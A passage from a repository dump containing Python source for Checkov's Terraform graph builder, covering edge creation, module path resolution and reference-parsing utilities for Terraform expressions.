vertex.breadcrumbs.get(CustomAttributes.SOURCE_MODULE, [])\n                self._build_edges_for_vertex(origin_node_index, vertex, aliases, resources_types, True, modules)\n\n    def _build_s3_name_reference_edges(self) -> None:\n        # Supporting reference by name of S3 bucket\n        resources_types = self.get_resources_types_in_graph()\n        if S3_BUCKET_RESOURCE_NAME not in resources_types:\n            return\n        # Find all the edges leading to S3 bucket and their references\n        s3_buckets_mapping: Dict[int, S3ConnectedResources] = {}\n        for origin_node_index, referenced_vertices in self.out_edges.items():\n            vertex = self.vertices[origin_node_index]\n            if vertex.block_type != BlockType.RESOURCE:\n                continue\n            for referenced_vertice in referenced_vertices:\n                if referenced_vertice.label == S3_BUCKET_REFERENCE_ATTRIBUTE:\n                    current = s3_buckets_mapping.get(referenced_vertice.dest, {\"bucket_resource_index\": None, \"referenced_vertices\": list()})\n                    if vertex.id.startswith(f\"{S3_BUCKET_RESOURCE_NAME}.\"):\n                        current[\"bucket_resource_index\"] = origin_node_index\n                    else:\n                        current[\"referenced_vertices\"].append(referenced_vertice)\n                    s3_buckets_mapping[referenced_vertice.dest] = current\n\n        # Create new edges of the found connections\n        for destination, mapping in s3_buckets_mapping.items():\n            if self.vertices[destination].block_type in [BlockType.VARIABLE, BlockType.LOCALS]:\n                if mapping[\"bucket_resource_index\"] is None:\n                    continue\n                for reference_vertex in mapping[\"referenced_vertices\"]:\n                    self.create_edge(mapping[\"bucket_resource_index\"], reference_vertex.origin, S3_BUCKET_REFERENCE_ATTRIBUTE, True)\n\n    def create_edge(self, origin_vertex_index: int, dest_vertex_index: int, label: str,\n                    cross_variable_edges: bool = False) -> bool:\n        if origin_vertex_index == dest_vertex_index:\n            return False\n        edge = Edge(origin_vertex_index, dest_vertex_index, label)\n        if cross_variable_edges:\n            if self.vertices[dest_vertex_index].block_type != BlockType.RESOURCE or \\\n                    self.vertices[origin_vertex_index].block_type != BlockType.RESOURCE:\n                return False\n            if edge in self.out_edges[origin_vertex_index]:\n                return False\n            edge.label = CROSS_VARIABLE_EDGE_PREFIX + edge.label\n            if edge in self.out_edges[origin_vertex_index]:\n                return False\n        self.edges.append(edge)\n        self.out_edges[origin_vertex_index].append(edge)\n        self.in_edges[dest_vertex_index].append(edge)\n        return True\n\n    def _connect_module(\n        self, sub_values: List[str], attribute_key: str, module_node: TerraformBlock, origin_node_index: int, cross_variable_edges: bool = False\n    ) -> None:\n        \"\"\"\n        :param sub_values: list of sub values of the attribute value.\n                            example: given 'instance_type = module.child.myoutput',\n                                        then attribute_key = instance_type, sub_values = ['child', 'myoutput']\n        :param attribute_key: the name of the attribute that has module block as value\n        :param module_node: the graph node of the module\n\n        The function receives a node of a block of type BlockType.Module, and finds all the nodes of blocks that belong to this\n        module, and creates edges between them.\n        \"\"\"\n        curr_module_dir = self.get_dirname(module_node.path)\n        dest_module_source = module_node.attributes[\"source\"][0]\n        dest_module_version = module_node.attributes.get(\"version\", [\"latest\"])[0]\n        dest_module_path = self._get_dest_module_path(\n            curr_module_dir=curr_module_dir,\n            dest_module_source=dest_module_source,\n            dest_module_version=dest_module_version\n        )\n\n        if len(sub_values) > 1:\n            block_name_in_other_module = sub_values[1]\n            output_blocks_with_name = self.vertices_block_name_map.get(BlockType.OUTPUT, {}).get(\n                block_name_in_other_module, []\n            )\n            for vertex_index in output_blocks_with_name:\n                vertex = self.vertices[vertex_index]\n                if self._should_add_edge(vertex, dest_module_path, module_node):\n                    added_edge = self.create_edge(origin_node_index, vertex_index, attribute_key, cross_variable_edges)\n                    if added_edge:\n                        self.vertices[origin_node_index].add_module_connection(attribute_key, vertex_index)\n                    break\n\n    def _get_dest_module_path(self, curr_module_dir: str, dest_module_source: str, dest_module_version: str) -> str:\n        \"\"\"\n        :param curr_module_dir: current source directory\n        :param dest_module_source: the value of module.source\n        :return: the real path in the local file system of the dest module\n        \"\"\"\n        relative_path_key = (curr_module_dir, dest_module_source)\n        if relative_path_key in self.relative_paths_cache:\n            return self.relative_paths_cache[relative_path_key]\n        elif is_local_path(curr_module_dir, dest_module_source):\n            self.relative_paths_cache[relative_path_key] = os.path.abspath(Path(curr_module_dir) / dest_module_source)\n            return self.relative_paths_cache[relative_path_key]\n        elif (dest_module_source, dest_module_version) in self.module.external_modules_source_map:\n            return self.module.external_modules_source_map[(dest_module_source, dest_module_version)]\n\n        # this happens, when we have external modules, which weren't downloaded\n        return \"\"\n\n    def _find_vertex_index_relative_to_path(\n        self,\n        block_type: str,\n        name: str,\n        block_path: str,\n        relative_module_idx: Optional[int] = None,\n        source_module_object: Optional[TFModule] = None,\n        origin_vertex_index: Optional[int] = None,\n    ) -> int:\n        relative_vertices: list[int] = []\n        if relative_module_idx is None:\n            module_dependency_by_name_key = source_module_object\n        else:\n            if isinstance(relative_module_idx, str) and relative_module_idx.isnumeric():\n                relative_module_idx = int(relative_module_idx)\n\n            vertex = self.vertices[relative_module_idx]\n            module_dependency_by_name_key = vertex.source_module_object\n\n        # important to use this specific map for big graph performance\n        possible_vertices = self._get_possible_vertices(module_dependency_by_name_key, block_type, name)\n        for vertex_index in possible_vertices:\n            vertex = self.vertices[vertex_index]\n            if self.get_dirname(vertex.path) == self.get_dirname(block_path):\n                relative_vertices.append(vertex_index)\n\n        if len(relative_vertices) == 1:\n            relative_vertex = relative_vertices[0]\n        else:\n            relative_vertex = self._find_vertex_with_best_match(relative_vertices, block_path, origin_vertex_index)\n        return relative_vertex\n\n    def _get_possible_vertices(self, module_dependency_by_name_key: TFModule | None, block_type: str, name: str) -> list[int]:\n        possible_vertices = self.vertices_by_module_dependency_by_name.get(module_dependency_by_name_key, {}).get(block_type, {}).get(name, [])\n        if possible_vertices:\n            return possible_vertices\n        return self.vertices_by_module_dependency_by_name.get(module_dependency_by_name_key, {}).get(block_type, {}).get(name.replace(LEFT_BRACKET_WITH_QUOTATION, LEFT_BRACKET).replace(RIGHT_BRACKET_WITH_QUOTATION, RIGHT_BRACKET), [])\n\n    def _find_vertex_with_best_match(self, relevant_vertices_indexes: List[int], origin_path: str,\n                                     origin_vertex_index: Optional[int] = None) -> int:\n        vertex_index_with_longest_common_prefix = -1\n        longest_common_prefix = \"\"\n        vertices_with_longest_common_prefix = []\n        origin_real_path = os.path.realpath(origin_path)\n        for vertex_index in relevant_vertices_indexes:\n            vertex = self.vertices[vertex_index]\n            if vertex.path in self._vertex_path_to_realpath_cache:\n                # Using cache to make sure performance stays stable\n                vertex_realpath = self._vertex_path_to_realpath_cache[vertex.path]\n            else:\n                vertex_realpath = os.path.realpath(vertex.path)\n                self._vertex_path_to_realpath_cache[vertex.path] = vertex_realpath\n            common_prefix = os.path.commonpath([vertex_realpath, origin_real_path])\n\n            # checks if module name is same for dest and origin vertex.\n            if origin_vertex_index is not None:\n                vertex_module_name = vertex.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS, '')\n                origin_module_name = self.vertices[origin_vertex_index].attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS, '')\n                common_prefix = self._get_common_prefix_name(origin_module_name, vertex_module_name, common_prefix)\n\n            if len(common_prefix) > len(longest_common_prefix):\n                vertex_index_with_longest_common_prefix = vertex_index\n                longest_common_prefix = common_prefix\n                vertices_with_longest_common_prefix = [(vertex_index, vertex)]\n            elif len(common_prefix) == len(longest_common_prefix):\n                vertices_with_longest_common_prefix.append((vertex_index, vertex))\n\n        if len(vertices_with_longest_common_prefix) <= 1:\n            return vertex_index_with_longest_common_prefix\n\n        # Try to compare based on foreach attributes if we have more than 1 vertex in the list\n        if origin_vertex_index is not None:\n            return self._find_best_match_based_on_foreach_key(origin_vertex_index, vertices_with_longest_common_prefix,\n                                                              vertex_index_with_longest_common_prefix)\n        return vertex_index_with_longest_common_prefix\n\n    @staticmethod\n    def _get_common_prefix_name(origin_module_name: str, vertex_module_name: str, common_prefix: str) -> str:\n        if vertex_module_name.startswith(BlockType.MODULE) and origin_module_name.startswith(BlockType.MODULE):\n            origin_parts = origin_module_name.split('.')\n            vertex_parts = vertex_module_name.split('.')\n\n            common_parts = []\n            for o, v in zip(origin_parts, vertex_parts):  # noqa: B905\n                if o == v:\n                    common_parts.append(o)\n                else:\n                    break\n\n            if common_parts:\n                common_prefix = f\"{common_prefix} {'.'.join(common_parts)}\"\n\n        return common_prefix.strip()\n\n    def _find_best_match_based_on_foreach_key(\n            self,\n            origin_vertex_index: int,\n            vertices_with_longest_common_prefix: list[tuple[int, TerraformBlock]],\n            vertex_index_with_longest_common_prefix: int\n    ) -> int:\n        origin_vertex = self.vertices[origin_vertex_index]\n        for vertex_index, vertex in vertices_with_longest_common_prefix:\n            vertex_address = vertex.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS, '')\n            vertex_foreach_value = vertex.for_each_index\n            origin_address = origin_vertex.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS, '')\n            origin_foreach_value = origin_vertex.for_each_index\n            if origin_foreach_value == vertex_foreach_value and origin_address != '' and \\\n                    get_terraform_foreach_or_count_key(origin_address) == \\\n                    get_terraform_foreach_or_count_key(vertex_address):\n                return vertex_index\n\n        return vertex_index_with_longest_common_prefix\n\n    def get_vertices_hash_codes_to_attributes_map(self) -> Dict[str, Dict[str, Any]]:\n        return {vertex.get_hash(): vertex.get_attribute_dict() for vertex in self.vertices}\n\n    def order_edges_by_hash_codes(self) -> Dict[str, Edge]:\n        edges = {}\n        for edge in self.edges:\n            edge_data = {\n                \"edge_label\": edge.label,\n                \"from_vertex_hash\": self.get_vertex_hash_by_index(vertex_index=edge.origin),\n                \"to_vertex_hash\": self.get_vertex_hash_by_index(vertex_index=edge.dest),\n            }\n            edge_hash = calculate_hash(edge_data)\n            edges[edge_hash] = edge\n        return edges\n\n    def get_vertex_hash_by_index(self, vertex_index: int) -> str:\n        return self.vertex_hash_cache.setdefault(vertex_index, self.vertices[vertex_index].get_hash())\n\n    def update_vertex_attribute(\n        self,\n        vertex_index: int,\n        attribute_key: str,\n        attribute_value: Any,\n        change_origin_id: int | None,\n        attribute_at_dest: Optional[Union[str, List[str]]],\n        transform_step: bool = False,\n    ) -> None:\n        if change_origin_id is None:\n            # no need to proceed further\n            return\n\n        previous_breadcrumbs = []\n        attribute_at_dest = self.vertices[change_origin_id].find_attribute(attribute_at_dest)\n        if attribute_at_dest:\n            previous_breadcrumbs = self.vertices[change_origin_id].changed_attributes.get(attribute_at_dest, [])\n        self.vertices[vertex_index].update_attribute(\n            attribute_key, attribute_value, change_origin_id, previous_breadcrumbs, attribute_at_dest\n        )\n\n    def update_vertices_configs(self) -> None:\n        for vertex in self.vertices:\n            changed_attributes = list(vertex.changed_attributes.keys())\n            changed_attributes = filter_sub_keys(changed_attributes)\n            self.update_vertex_config(vertex, changed_attributes)\n\n    @staticmethod\n    def update_vertex_config(vertex: TerraformBlock, changed_attributes: Union[List[str], Dict[str, Any]], dynamic_blocks: bool = False) -> None:\n        if not changed_attributes:\n            # skip, if there is no change\n            return\n\n        vertex_name = vertex.name\n        updated_config = pickle_deepcopy(vertex.config)\n        if vertex.block_type == BlockType.PROVIDER:\n            # provider blocks set the alias as a suffix to the name, ex. name: \"aws.prod\"\n            vertex_name = vertex_name.split(\".\")[0]\n        if vertex.block_type != BlockType.LOCALS:\n            parts = vertex_name.split(\".\")\n            start = 0\n            end = 1\n            while end <= len(parts):\n                cur_key = \".\".join(parts[start:end])\n                if cur_key in updated_config:\n                    updated_config = updated_config[cur_key]\n                    start = end\n                end += 1\n\n        for changed_attribute in changed_attributes:\n            new_value = vertex.attributes.get(changed_attribute, None)\n            if new_value is not None:\n                if vertex.block_type == BlockType.LOCALS:\n                    changed_attribute = changed_attribute.replace(f\"{vertex_name}.\", \"\")\n                updated_config = update_dictionary_attribute(updated_config, changed_attribute, new_value, dynamic_blocks)\n\n        if len(changed_attributes) > 0:\n            if vertex.block_type == BlockType.LOCALS:\n                updated_local_config = updated_config.get(vertex_name)\n                update_dictionary_attribute(vertex.config, vertex_name, updated_local_config, dynamic_blocks)\n                return\n\n            update_dictionary_attribute(vertex.config, vertex_name, updated_config, dynamic_blocks)\n\n    def get_resources_types_in_graph(self) -> List[str]:\n        return self.module.get_resources_types()\n\n    def _update_vertices_breadcrumbs_and_module_connections(self) -> None:\n        \"\"\"\n        The function processes each vertex's breadcrumbs:\n        1. Get more data to each vertex in breadcrumb (name, path, hash and type)\n        2. If a breadcrumb is originated in a different module, it will have 'module_connection'=True\n        3. If a vertex has a 'source module' we will add a special breadcrumb for it\n        \"\"\"\n        for vertex in self.vertices:\n            for attribute_key, breadcrumbs_list in vertex.changed_attributes.items():\n                hash_breadcrumbs = []\n                for breadcrumb in breadcrumbs_list:\n                    v = self.vertices[breadcrumb.vertex_id]\n                    breadcrumb = v.get_export_data()\n                    breadcrumb[\"module_connection\"] = self._determine_if_module_connection(breadcrumbs_list, v)\n                    hash_breadcrumbs.append(breadcrumb)\n                vertex.breadcrumbs[attribute_key] = hash_breadcrumbs\n            if len(vertex.source_module) == 1:\n                v = vertex\n                source_module_data = []\n                while len(v.source_module) == 1:\n                    idx = list(v.source_module)[0]\n                    v = self.vertices[idx]\n                    module_data = v.get_export_data()\n                    module_data[\"idx\"] = idx\n                    if hasattr(vertex, \"source_module_object\"):\n                        module_data[\"source_module_object\"] = v.source_module_object\n                    source_module_data.append(module_data)\n                source_module_data.reverse()\n                vertex.breadcrumbs[CustomAttributes.SOURCE_MODULE] = source_module_data\n\n    @staticmethod\n    def _determine_if_module_connection(breadcrumbs_list: List[int], vertex_in_breadcrumbs: TerraformBlock) -> bool:\n        \"\"\"\n        :param breadcrumbs_list: list of vertex's breadcrumbs\n        :param vertex_in_breadcrumbs: one of the vertices in the breadcrumb list\n        :return: True if vertex_in_breadcrumbs has in its module_connections at least one of the vertices in breadcrumbs_list\n        \"\"\"\n        if not vertex_in_breadcrumbs.module_connections:\n            return False\n        for connection_list in vertex_in_breadcrumbs.module_connections.values():\n            if any(i in breadcrumbs_list for i in connection_list):\n                return True\n        return False\n\n    def get_dirname(self, path: str) -> str:\n        dir_name = self.dirname_cache.get(path)\n        if not dir_name:\n            dir_name = os.path.dirname(path)\n            self.dirname_cache[path] = dir_name\n        return dir_name\n\n    def get_abspath(self, path: str) -> str:\n        dir_name = self.abspath_cache.get(path)\n        if not dir_name:\n            dir_name = os.path.abspath(path)\n            self.abspath_cache[path] = dir_name\n        return dir_name\n\n    def _update_nested_modules_address(self) -> None:\n        for vertex in self.vertices:\n            if vertex.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS) is not None:\n                # Can happen for example in `tf_plan` files as the address already exists\n                continue\n            if vertex.block_type not in parser_registry.context_parsers:\n                continue\n            source_module = vertex.breadcrumbs.get(CustomAttributes.SOURCE_MODULE)\n\n            address_prefix = ''\n            if source_module:\n                for module in source_module:\n                    address_prefix += f\"{module.get('type')}.{module.get('name')}.\"\n\n            context_parser = parser_registry.context_parsers[vertex.block_type]\n            entity_context_path = context_parser.get_entity_context_path(vertex.config)\n            resource_id = '.'.join(entity_context_path) if entity_context_path else vertex.name\n            address = f'{address_prefix}{resource_id}'\n            vertex.attributes[CustomAttributes.TF_RESOURCE_ADDRESS] = address\n\n            vertex_context = vertex.config\n            definition_path = context_parser.get_entity_definition_path(vertex.config)\n            for path in definition_path:\n                vertex_context = vertex_context.get(path, vertex_context)\n            vertex_context[CustomAttributes.TF_RESOURCE_ADDRESS] = address\n\n    def _should_add_edge(self, vertex: TerraformBlock, dest_module_path: str, module_node: TerraformBlock) -> bool:\n        if not vertex.source_module_object:\n            return False\n\n        return (self.get_dirname(vertex.path) == dest_module_path) and \\\n            (\n                vertex.source_module_object == module_node.source_module_object  # The vertex is in the same file\n                or self.get_abspath(vertex.source_module_object.path)\n                == self.get_abspath(module_node.path)  # The vertex is in the correct dependency path)\n        )\n\n    def _build_virtual_resources_edges(self, origin_node_index: int, vertex: TerraformBlock) -> None:\n        if CustomAttributes.VIRTUAL_RESOURCES in vertex.config:\n            for i, v in enumerate(self.vertices):\n                if v.name in vertex.config[CustomAttributes.VIRTUAL_RESOURCES]:\n                    self.create_edge(i, origin_node_index, VIRTUAL_RESOURCE)\n\n\ndef get_vertex_as_tf_module(block: TerraformBlock) -> TFModule:\n    block_name = get_sanitized_terraform_resource_id(block.name)\n    return TFModule(path=block.path, name=block_name, nested_tf_module=block.source_module_object, foreach_idx=block.for_each_index)\n"
  },
  {
    "path": "checkov/terraform/graph_builder/utils.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nimport re\nfrom typing import Tuple\nfrom typing import Union, List, Any, Dict, Optional, TYPE_CHECKING\n\nfrom checkov.common.typing import LibraryGraph\nfrom checkov.common.util.parser_utils import TERRAFORM_NESTED_MODULE_PATH_SEPARATOR_LENGTH, \\\n    TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR\nfrom networkx import DiGraph\n\nif TYPE_CHECKING:\n    from checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock\n\nfrom checkov.common.util.type_forcers import force_int\nfrom checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.variable_rendering.vertex_reference import TerraformVertexReference\n\nMODULE_DEPENDENCY_PATTERN_IN_PATH = re.compile(r\"\\(\\[\\{.+\\#\\*\\#.+\\}\\]\\)\")\nCHECKOV_RENDER_MAX_LEN = force_int(os.getenv(\"CHECKOV_RENDER_MAX_LEN\", \"10000\"))\nCHECKOV_LOREM_IPSUM_VAL = '\\x00'\n\n\ndef is_local_path(root_dir: str, source: str) -> bool:\n    # https://www.terraform.io/docs/modules/sources.html#local-paths\n    return (\n        source.startswith(r\"./\")\n        or source.startswith(r\"/./\")\n        or source.startswith(r\"../\")\n    )\n\n\ndef remove_module_dependency_in_path(path: str) -> Tuple[str, str, str]:\n    \"\"\"\n    :param path: path that looks like \"dir/main.tf[other_dir/x.tf#0]\n    :return: separated path from module dependency: dir/main.tf, other_dir/x.tf\n    \"\"\"\n    module_dependency = re.findall(MODULE_DEPENDENCY_PATTERN_IN_PATH, path)\n    if re.findall(MODULE_DEPENDENCY_PATTERN_IN_PATH, path):\n        path = re.sub(MODULE_DEPENDENCY_PATTERN_IN_PATH, \"\", path)\n    module_and_num = extract_module_dependency_path(module_dependency)\n    return path, module_and_num[0], module_and_num[1]\n\n\ndef extract_module_dependency_path(module_dependency: str | List[str]) -> List[str]:\n    \"\"\"\n    :param: module_dependency: a list looking like ['[path_to_module.tf#0]']\n    :return: the path without enclosing array and index: 'path_to_module.tf'\n    \"\"\"\n    if not module_dependency:\n        return [\"\", \"\"]\n    if isinstance(module_dependency, list):\n        module_dependency = module_dependency[0]\n    return [\n        module_dependency[3:module_dependency.index(f'.tf{TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR}') + len('.tf')],\n        module_dependency[module_dependency.index(f'.tf{TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR}') + len(f'.tf{TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR}'):-TERRAFORM_NESTED_MODULE_PATH_SEPARATOR_LENGTH]\n    ]\n\n\nBLOCK_TYPES_STRINGS = (\"var\", \"local\", \"module\", \"data\")\nFUNC_CALL_PREFIX_PATTERN = re.compile(r\"([.a-zA-Z]+)\\(\")\nINTERPOLATION_EXPR = re.compile(r\"\\$\\{([^\\}]*)\\}\")\nINDEX_PATTERN = re.compile(r\"\\[([0-9]+)\\]\")\nMAP_ATTRIBUTE_PATTERN = re.compile(r\"\\[\\\"([^\\d\\W]\\w*)\\\"\\]\")\nNESTED_ATTRIBUTE_PATTERN = re.compile(r\"\\.\\d+\")\n\n\ndef get_vertices_references(\n        str_value: str, aliases: Dict[str, Dict[str, str]], resources_types: List[str]\n) -> List[TerraformVertexReference]:\n    has_interpolation = True if \"${\" in str_value else False\n    vertices_references: \"list[TerraformVertexReference]\" = []\n    words_in_str_value = str_value.split()\n\n    for word in words_in_str_value:\n        if word.startswith((\".\", r\"/.\")):\n            # check if word is a relative path\n            continue\n\n        if has_interpolation:\n            interpolations = re.split(INTERPOLATION_EXPR, word)\n            for interpolation_content in interpolations:\n                add_vertices_references_from_word(\n                    vertices_references=vertices_references,\n                    word=interpolation_content,\n                    aliases=aliases,\n                    resources_types=resources_types,\n                )\n        else:\n            add_vertices_references_from_word(\n                vertices_references=vertices_references,\n                word=word,\n                aliases=aliases,\n                resources_types=resources_types,\n            )\n\n    return vertices_references\n\n\ndef add_vertices_references_from_word(\n    vertices_references: list[TerraformVertexReference],\n    word: str,\n    aliases: dict[str, dict[str, str]],\n    resources_types: list[str],\n) -> None:\n    for w in word.split(\",\"):\n        word_sub_parts = w.split(\".\")\n        if len(word_sub_parts) <= 1 or word_sub_parts[0].isnumeric():\n            # if the word doesn't contain a '.' char, or if the first part before the dot is a number\n            continue\n\n        suspected_block_type = word_sub_parts[0]\n        if suspected_block_type in BLOCK_TYPES_STRINGS:\n            # matching cases like 'var.x'\n            vertex_reference = TerraformVertexReference(\n                block_type=suspected_block_type, sub_parts=word_sub_parts[1:], origin_value=w\n            )\n            if vertex_reference not in vertices_references:\n                vertices_references.append(vertex_reference)\n            continue\n\n        vertex_reference_alias = get_vertex_reference_from_alias(suspected_block_type, aliases, word_sub_parts)\n        if vertex_reference_alias and vertex_reference_alias not in vertices_references:\n            vertex_reference_alias.origin_value = w\n            # matching cases where the word is referring an alias\n            vertices_references.append(vertex_reference_alias)\n            continue\n\n        # matching cases like 'aws_vpc.main'\n        if word_sub_parts[0] in resources_types:\n            block_name = word_sub_parts[0] + \".\" + word_sub_parts[1]\n            word_sub_parts = [block_name] + word_sub_parts[2:]\n            vertex_reference = TerraformVertexReference(\n                block_type=BlockType.RESOURCE, sub_parts=word_sub_parts, origin_value=w\n            )\n            if vertex_reference not in vertices_references:\n                vertices_references.append(vertex_reference)\n\n\ndef get_vertex_reference_from_alias(\n        block_type_str: str, aliases: Dict[str, Dict[str, str]], val: List[str]\n) -> Optional[TerraformVertexReference]:\n    if not aliases:\n        return None\n\n    block_type = \"\"\n    if block_type_str in aliases:\n        block_type = aliases[block_type_str][CustomAttributes.BLOCK_TYPE]\n    aliased_provider = \".\".join(val)\n    if aliased_provider in aliases:\n        block_type = aliases[aliased_provider][CustomAttributes.BLOCK_TYPE]\n    if block_type:\n        return TerraformVertexReference(block_type=block_type, sub_parts=val, origin_value=\"\")\n    return None\n\n\ndef remove_function_calls_from_str(str_value: str) -> str:\n    if \"(\" not in str_value:\n        # otherwise it can't be a function call\n        return str_value\n\n    # remove start of function calls:: 'length(aws_vpc.main) > 0 ? aws_vpc.main[0].cidr_block : ${var.x}' --> 'aws_vpc.main) > 0 ? aws_vpc.main[0].cidr_block : ${var.x}'\n    str_value = re.sub(FUNC_CALL_PREFIX_PATTERN, \"\", str_value)\n    # remove ')'\n    return str_value.replace(\")\", \"\")\n\n\ndef remove_index_pattern_from_str(str_value: str) -> str:\n    if \"[\" not in str_value:\n        # otherwise it can't be accessed via index\n        return str_value\n\n    # Workaround for cases where the string value contains a map attribute access for foreach data block\n    # UT for this - `test_foreach_data_with_resource` -> /variable_rendering/test_foreach_renderer.py\n    if \"data.\" in str_value:\n        return str_value\n\n    str_value = re.sub(INDEX_PATTERN, \"\", str_value)\n    str_value = str_value.replace('[\"', CHECKOV_LOREM_IPSUM_VAL).replace(\"[\", \" [ \").replace(CHECKOV_LOREM_IPSUM_VAL, '[\"')\n    str_value = str_value.replace('\"]', CHECKOV_LOREM_IPSUM_VAL).replace(\"]\", \" ] \").replace(CHECKOV_LOREM_IPSUM_VAL, '\"]')\n    return str_value\n\n\ndef remove_interpolation(str_value: str) -> str:\n    if \"${\" not in str_value:\n        # otherwise it can't be a string interpolation\n        return str_value\n\n    return str_value.replace(\"${\", \" \").replace(\"}\", \" \")\n\n\ndef replace_map_attribute_access_with_dot(str_value: str) -> str:\n    if \"[\\\"\" not in str_value:\n        # otherwise it can't be accessed via named index\n        return str_value\n\n    split_by_identifiers = re.split(MAP_ATTRIBUTE_PATTERN, str_value)\n    new_split = []\n    for split_part in split_by_identifiers:\n        if split_part.startswith(\".\"):\n            split_part = split_part[1:]\n        if split_part.endswith(\".\"):\n            split_part = split_part[:-1]\n        new_split.append(split_part)\n\n    return \".\".join(new_split)\n\n\ndef get_referenced_vertices_in_value(\n        value: Union[str, List[str], Dict[str, str]],\n        aliases: Dict[str, Dict[str, str]],\n        resources_types: List[str],\n) -> List[TerraformVertexReference]:\n    references_vertices: \"list[TerraformVertexReference]\" = []\n\n    if not value or isinstance(value, (bool, int)):\n        # bool/int values can't have a references to other vertices\n        return references_vertices\n\n    if isinstance(value, list):\n        for sub_value in value:\n            references_vertices += get_referenced_vertices_in_value(\n                sub_value, aliases, resources_types\n            )\n\n    if isinstance(value, dict):\n        for sub_value in value.values():\n            references_vertices += get_referenced_vertices_in_value(\n                sub_value, aliases, resources_types\n            )\n\n    if isinstance(value, str):\n        references_vertices = get_referenced_vertices_in_str_value(\n            str_value=value,\n            aliases=aliases,\n            resources_types=resources_types,\n        )\n\n    return references_vertices\n\n\ndef get_referenced_vertices_in_str_value(\n    str_value: str,\n    aliases: dict[str, dict[str, str]],\n    resources_types: list[str],\n) -> list[TerraformVertexReference]:\n    references_vertices: \"list[TerraformVertexReference]\" = []\n\n    value_len = len(str_value)\n    if CHECKOV_RENDER_MAX_LEN and 0 < CHECKOV_RENDER_MAX_LEN < value_len:\n        logging.debug(\n            f'Rendering was skipped for a {value_len}-character-long string. If you wish to have it '\n            f'evaluated, please set the environment variable CHECKOV_RENDER_MAX_LEN '\n            f'to {str(value_len + 1)} or to 0 to allow rendering of any length'\n        )\n    else:\n        if value_len < 5 or \".\" not in str_value:\n            # the shortest reference is 'var.a' and references are done via dot notation\n            return references_vertices\n\n        str_value = remove_function_calls_from_str(str_value=str_value)\n        str_value = remove_index_pattern_from_str(str_value=str_value)\n        str_value = remove_interpolation(str_value=str_value)\n\n        references_vertices = get_vertices_references(str_value, aliases, resources_types)\n\n    return references_vertices\n\n\ndef generate_possible_strings_from_wildcards(origin_string: str, max_entries: int = 10) -> List[str]:\n    max_entries = int(os.environ.get(\"MAX_WILDCARD_ARR_SIZE\", max_entries))\n    generated_strings = [origin_string]\n    if not origin_string:\n        return []\n    if \"*\" not in origin_string:\n        return generated_strings\n\n    locations_of_wildcards = []\n    for i, char in enumerate(origin_string):\n        if char == \"*\":\n            locations_of_wildcards.append(i)\n    locations_of_wildcards.reverse()\n\n    for wildcard_index in locations_of_wildcards:\n        new_generated_strings = []\n        for s in generated_strings:\n            before_wildcard = s[:wildcard_index]\n            after_wildcard = s[wildcard_index + 1:]\n            for i in range(max_entries):\n                new_generated_strings.append(before_wildcard + str(i) + after_wildcard)\n        generated_strings = new_generated_strings\n\n    # if origin_string == \"ingress.*.cidr_blocks\", check for \"ingress.cidr_blocks\" too\n    generated_strings.append(\"\".join(origin_string.split(\".*\")))\n    return generated_strings\n\n\ndef attribute_has_nested_attributes(attribute_key: str, attributes: Dict[str, Any], attribute_is_leaf: Optional[Dict[str, bool]] = None) -> bool:\n    \"\"\"\n    :param attribute_key: key inside the  `attributes` dictionary\n    :param attributes:\n    :return: True if attribute_key has inner attributes.\n    Example 1: if attributes.keys == [key1, key.key2], type(attributes[key1]) is dict and return True for key1\n    Example 2: if attributes.keys == [key1, key1.0], type(attributes[key1]) is list and return True for key1\n    \"\"\"\n    if attribute_is_leaf is None:\n        attribute_is_leaf = {}\n    if attribute_is_leaf.get(attribute_key):\n        prefixes_with_attribute_key = []\n    else:\n        prefixes_with_attribute_key = [a for a in attributes if a.startswith(attribute_key) and a != attribute_key]\n    if not any(re.findall(NESTED_ATTRIBUTE_PATTERN, a) for a in prefixes_with_attribute_key):\n        # if there aro no numeric parts in the key such as key1.0.key2\n        return isinstance(attributes[attribute_key], dict)\n    return isinstance(attributes[attribute_key], list) or isinstance(attributes[attribute_key], dict)\n\n\ndef attribute_has_dup_with_dynamic_attributes(attribute_key: str, attributes: dict[str, Any] | list[str]) -> bool:\n    \"\"\"\n    :param attribute_key: key inside the `attributes` dictionary\n    :param attributes: `attributes` dictionary\n    :return: True if attribute_key has duplicate attribute with dynamic reference.\n    :example: if attributes.keys == [name.rule, dynamic.name.content.rule] -> will return True.\n    \"\"\"\n    attribute_key_paths = attribute_key.split('.')\n    if len(attribute_key_paths) > 1:\n        attar_key_dynamic_ref = f\"dynamic.{attribute_key_paths[0]}.content.{attribute_key_paths[1]}\"\n        return attar_key_dynamic_ref in attributes\n    else:\n        return False\n\n\ndef get_related_resource_id(resource: dict[str, Any], file_path_to_referred_id: dict[str, str]) -> str | None:\n    resource_id = resource.get(CustomAttributes.ID)\n    # for external modules resources the id should start with the prefix module.[module_name]\n    if resource.get(CustomAttributes.MODULE_DEPENDENCY):\n        referred_id = file_path_to_referred_id.get(\n            f'{resource.get(CustomAttributes.FILE_PATH)}[{resource.get(CustomAttributes.MODULE_DEPENDENCY)}#{resource.get(CustomAttributes.MODULE_DEPENDENCY_NUM)}]')\n        resource_id = f'{referred_id}.{resource_id}'\n    return resource_id\n\n\ndef get_file_path_to_referred_id_networkx(graph_object: DiGraph) -> dict[str, str]:\n    file_path_to_module_id = {}\n\n    modules = [node for node in graph_object.nodes.values() if\n               node.get(CustomAttributes.BLOCK_TYPE) == BlockType.MODULE]\n    for modules_data in modules:\n        for module_name, module_content in modules_data.get(CustomAttributes.CONFIG, {}).items():\n            for path in module_content.get(\"__resolved__\", []):\n                file_path_to_module_id[path] = f\"module.{module_name}\"\n    return file_path_to_module_id\n\n\ndef get_file_path_to_referred_id_rustworkx(graph_object: DiGraph) -> dict[str, str]:\n    file_path_to_module_id = {}\n\n    modules = [node for index, node in graph_object.nodes() 